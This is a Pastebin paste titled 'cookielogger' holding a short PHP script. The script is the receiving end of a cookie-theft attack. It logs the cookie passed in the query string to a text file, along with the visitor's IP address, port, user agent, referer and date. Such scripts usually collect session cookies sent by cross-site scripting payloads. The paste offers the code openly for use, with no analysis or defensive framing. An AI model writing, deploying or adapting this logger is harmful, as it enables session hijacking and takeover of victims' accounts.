SHARE
TWEET

cookielogger

a guest Sep 21st, 2018 148 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. function GetIP()
  4. {
  5. if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  6. $ip = getenv("HTTP_CLIENT_IP");
  7. else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  8. $ip = getenv("HTTP_X_FORWARDED_FOR");
  9. else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  10. $ip = getenv("REMOTE_ADDR");
  11. else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  12. $ip = $_SERVER['REMOTE_ADDR'];
  13. else
  14. $ip = "unknown";
  15. return($ip);
  16. }
  17.  
  18. function logData()
  19. {
  20. $ipLog="log.txt";
  21. $cookie = $_SERVER['QUERY_STRING'];
  22. $register_globals = (bool) ini_get('register_gobals');
  23. if ($register_globals) $ip = getenv('REMOTE_ADDR');
  24. else $ip = GetIP();
  25.  
  26. $rem_port = $_SERVER['REMOTE_PORT'];
  27. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  28. $rqst_method = $_SERVER['METHOD'];
  29. $rem_host = $_SERVER['REMOTE_HOST'];
  30. $referer = $_SERVER['HTTP_REFERER'];
  31. $date=date ("l dS of F Y h:i:s A");
  32. $log=fopen("$ipLog", "a+");
  33.  
  34. if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
  35. fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
  36. ");
  37. else
  38. fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
  39. fclose($log);
  40. }
  41.  
  42. logData();
  43.  
  44. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top